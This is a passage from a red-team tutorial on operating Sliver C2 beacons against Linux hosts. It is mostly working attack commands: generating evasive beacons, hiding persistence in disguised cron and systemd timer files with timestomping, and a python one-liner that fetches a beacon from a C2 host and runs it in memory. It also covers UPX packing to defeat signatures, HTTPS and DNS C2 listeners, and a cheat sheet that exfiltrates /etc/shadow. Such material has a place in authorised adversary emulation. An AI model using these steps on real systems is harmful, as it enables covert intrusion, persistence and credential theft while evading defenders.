--limit-datetime "2025-12-31..." Kill date — stop after this UTC time Expiry only
--seconds 86400 --jitter 3600 Sleep 24h with 1h variance Reduces frequency, not a schedule
Cron wrapper (8.5) OS scheduler launches beacon at 0800, kills it at 1800 True time-of-day control
systemd timer (8.5) Same as cron but via systemd True time-of-day control

Bottom line: Use --limit-datetime for kill dates. Use OS cron/systemd timers to control when the beacon runs. Combine both for a beacon that only runs 0800-1800 M-F AND self-destructs at end of engagement.


8.5 — Cron Wrapper: Launch Beacon at 0800 EST (True Scheduling)

This is the correct approach for time-of-day control. The beacon binary exists but only runs during business hours — reducing its EDR exposure window.

# Step 1: Generate the beacon with a kill date but no artificial sleep limit
# The cron schedule IS the time-of-day control
generate beacon \
  --https YOUR_C2_IP:443 \
  --os linux --arch amd64 --format elf \
  --evasion --skip-symbols \
  --seconds 3600 --jitter 300 \
  --limit-datetime "2025-12-31T23:59:59Z" \   # engagement kill date
  --save /tmp/beacon.elf

# Step 2: Transfer beacon to target, rename innocuously
cp /tmp/beacon.elf /usr/lib/systemd/.network-helper
chmod +x /usr/lib/systemd/.network-helper

# Step 3: Check target's timezone -- critical for correct UTC offset
timedatectl 2>/dev/null | grep "Time zone"
date +%Z && date -u    # local vs UTC -- confirm the offset

# Timezone offset math:
# EST  = UTC-5   -> 0800 EST = 1300 UTC  ->  cron hour = 13
# EDT  = UTC-4   -> 0800 EDT = 1200 UTC  ->  cron hour = 12  (summer/daylight saving)
# PST  = UTC-8   -> 0800 PST = 1600 UTC  ->  cron hour = 16
# If target runs UTC: 0800 UTC = 0800 UTC -> cron hour = 8

# Step 4: Create a cron job (requires root for /etc/cron.d/)
# Disguise the filename -- blend with existing cron files
cat > /etc/cron.d/systemd-check << 'EOF'
# System integrity monitor
SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Launch beacon at 0800 EST (1300 UTC) weekdays -- only if not already running
0 13 * * 1-5 root pgrep -xf ".network-helper" > /dev/null 2>&1 || /usr/lib/systemd/.network-helper &

# Kill beacon at 1800 EST (2300 UTC) weekdays -- clean exit before EOD
0 23 * * 1-5 root pkill -xf ".network-helper" > /dev/null 2>&1; true
EOF

# Step 5: Timestomp to blend with existing cron files
touch -r /etc/cron.d/anacron /etc/cron.d/systemd-check
touch -r /etc/cron.d/anacron /usr/lib/systemd/.network-helper

# Alternative: systemd timer (more legitimate-looking, harder to spot in casual review)
cat > /etc/systemd/system/netcheck.timer << 'EOF'
[Unit]
Description=Network Integrity Check Timer

[Timer]
OnCalendar=Mon-Fri 08:00:00 America/New_York
Persistent=false

[Install]
WantedBy=timers.target
EOF

cat > /etc/systemd/system/netcheck.service << 'EOF'
[Unit]
Description=Network Integrity Check

[Service]
Type=forking
ExecStart=/usr/lib/systemd/.network-helper
ExecStop=/usr/bin/pkill -xf .network-helper
StandardOutput=null
StandardError=null
EOF

systemctl daemon-reload
systemctl enable netcheck.timer
# Timestomp
touch -r /etc/systemd/system/ssh.service /etc/systemd/system/netcheck.timer
touch -r /etc/systemd/system/ssh.service /etc/systemd/system/netcheck.service

Why cron over --limit-datetime for scheduling: --limit-datetime is a kill date — the process can still start at any time before that date. Cron controls when the process starts. Combined: cron handles the 0800 launch window, --limit-datetime handles the engagement expiry, and killing at 1800 keeps it off the wire overnight.


8.6 — Stealthy Delivery: In-Memory Execution via memfd_create

Never write the beacon ELF to disk on the target. Use memfd_create to execute it purely from memory — no file, no inode, no disk forensics.

# Prerequisite: Sliver C2 is running, listener is up, beacon.elf is on your C2 web server
# On the C2 server, serve the payload:
python3 -m http.server 8080 --directory /tmp/payloads &

# On the TARGET -- run this one-liner to download and execute the beacon in-memory:
python3 -c "
import os, urllib.request
fd = os.memfd_create('kworker', os.MFD_CLOEXEC)
payload = urllib.request.urlopen('http://YOUR_C2_IP:8080/beacon.elf').read()
os.write(fd, payload)
os.fexecve(fd, ['/proc/self/fd/%d' % fd], dict(os.environ))
"
# The process appears in 'ps' as 'kworker' -- matches kernel thread naming convention
# No ELF file on disk. Forensics finds nothing in /tmp, /dev/shm, or anywhere else.

Alternative: Base64 embedded delivery (no outbound HTTP from target)

# On attacker: encode the beacon
base64 -w0 beacon.elf > beacon.b64

# In your shell on the target -- paste the base64 string directly:
python3 -c "
import os, base64
b64 = 'AAAA...YOUR_BASE64_HERE...'   # paste beacon.b64 contents here
fd = os.memfd_create('kworker', os.MFD_CLOEXEC)
os.write(fd, base64.b64decode(b64))
os.fexecve(fd, ['/proc/self/fd/%d' % fd], dict(os.environ))
"
# No network fetch from target, no disk write. Pure in-memory exec.

OPSEC: memfd_create creates an anonymous file descriptor not visible in the filesystem. The process does appear in /proc/PID/exe as /proc/self/fd/N (deleted) — a known IOC that some EDRs flag. For higher stealth, consider compiling a minimal C dropper that uses memfd_create directly and masquerades via /proc/self/maps tricks. The kworker process name chosen above mimics kernel worker threads — inspect real kernel threads with ps aux | grep "\[kworker" to pick a realistic name.


8.7 — Binary Hardening: Strip + UPX (Post-Generation)

After generating the ELF beacon, optionally harden it further on your attacker machine before delivery:

# Strip all remaining symbols (belt-and-suspenders on top of --skip-symbols)
strip --strip-all beacon.elf
# Verify size reduction:
ls -lh beacon.elf

# UPX compression -- reduces file size, breaks simple static signature matching
# CAUTION: Some EDRs specifically flag UPX-packed binaries -- test in your lab first
upx --best --lzma beacon.elf           # max compression
upx -d beacon.elf                      # decompress if needed

# Verify the binary still works after UPX (test in lab VM first)
file beacon.elf                        # should still show ELF executable
./beacon.elf                           # test run in lab

# Check what strings remain (what an analyst would see)
strings beacon.elf | grep -iE "sliver|bishopfox|beacon|c2|mtls" | head
# If any Sliver-specific strings appear -> consider --garble at generation time
# Garble requires building Sliver from source with garble installed:
# go install mvdan.cc/garble@latest
# then generate with --garble flag

8.8 — HTTPS Listener Setup (Blend with Web Traffic)

# Inside Sliver console: start an HTTPS listener (port 443 -- looks like HTTPS to network TAPs)
https --lhost YOUR_C2_IP --lport 443

# Verify listener is running
jobs
#  ID   Name    Protocol   Port
# ==== ======= ========== ======
#  1    https   tcp        443

# Generate beacon using HTTPS instead of mTLS
# HTTPS blends better in environments where mTLS to non-standard ports triggers alerts
generate beacon \
  --https YOUR_C2_IP:443 \
  --os linux --arch amd64 --format elf \
  --evasion --skip-symbols \
  --seconds 3600 --jitter 600 \
  --save /tmp/beacon_https.elf

# For DNS C2 (extremely stealthy, traverses most firewalls):
# Requires a domain you control with NS records pointing to your server
dns --domains yourc2domain.com
generate beacon \
  --dns yourc2domain.com \
  --os linux --arch amd64 --format elf \
  --seconds 7200 --jitter 1800 \
  --save /tmp/beacon_dns.elf
# DNS beacon is very slow (DNS response times) but nearly unblockable

8.9 — Sliver Quick-Reference Cheat Sheet

# -- Server management --------------------------------------------------
sliver-server          # start console
jobs                   # list active listeners
mtls --lport 8888      # start mTLS listener
https --lport 443      # start HTTPS listener

# -- Implant management -------------------------------------------------
implants               # list all generated implants
beacons                # list active beacons
sessions               # list active sessions
use <ID>               # interact with beacon or session

# -- Beacon interaction -------------------------------------------------
info                   # beacon details (interval, jitter, OS, PID)
tasks                  # list queued/completed tasks
interactive            # promote beacon -> live session
background             # return to main console (beacon stays active)
beacons rm <ID>        # remove beacon entry

# -- In-session commands (Linux) ----------------------------------------
ls / pwd / cd          # filesystem navigation
download /etc/shadow   # exfil file to C2 server
upload /tmp/tool /tmp/ # push file to target
execute -o id          # run command, capture output
shell                  # drop to interactive shell (noisy)
socks5 start           # start SOCKS5 proxy via this implant
portfwd add -r TARGET_IP:22 -b 127.0.0.1:2222  # port forward
getenv / setenv        # environment variable access
screenshot             # capture desktop (GUI targets)
procdump --pid <PID>   # memory dump of process

# -- Profiles (save generation configs) --------------------------------
profiles new beacon \
  --https C2_IP:443 --os linux \
  --seconds 3600 --jitter 600 \
  --limit-datetime "2025-12-31T23:59:59Z" \
  linux-biz-hours

profiles generate --save /tmp/ linux-biz-hours   # generate from saved profile
profiles             # list all profiles

Resources

Resource Type Relevance
GTFOBins Reference Sudo / SUID exploitation one-liners
PayloadsAllTheThings — Linux PrivEsc Reference Comprehensive priv-esc techniques
HackTricks — Linux PrivEsc Reference Deep technique breakdowns
linux-exploit-suggester Tool Kernel CVE matching
pspy Tool No-root cron/process watcher
swap_digger Tool Swap memory credential extraction
InternalAllTheThings — Linux PrivEsc Reference Technique reference with MITRE mapping
RoseSecurity Red-Teaming-TTPs Reference Red team TTP list with commands
RedTeaming_CheatSheet (0xJs) Reference Comprehensive pentesting guide
d4t4s3c/OffensiveReverseShellCheatSheet Reference Reverse shell one-liners (bash/nc/python/socat)
RoqueNight/Reverse-Shell-TTY-Cheat-Sheet Reference TTY stabilization: Python/perl/ruby methods
pentestmonkey reverse shells Reference Classic one-liners
BishopFox/sliver Tool / C2 Adversary emulation framework — Linux focus
Sliver Docs Reference Official Sliver documentation
Learning Sliver C2 — Beacons & Sessions Tutorial Beacon vs session deep dive
Sliver C2 Usage for Red Teams Tutorial Operator guide with practical examples
Sliver + memfd_create Tutorial Fileless Linux delivery via memfd_create

Back to [Parts 1a & 1b](1.1a Linux Deep Dive P1.md) — OPSEC Baseline & Privilege Escalation

Part of the [Red Teaming 101](0 README.md) series. Companions: [1a: OPSEC](1.1a Linux Deep Dive P1.md) · [1b: PrivEsc](1.1b Linux Deep Dive P1b.md).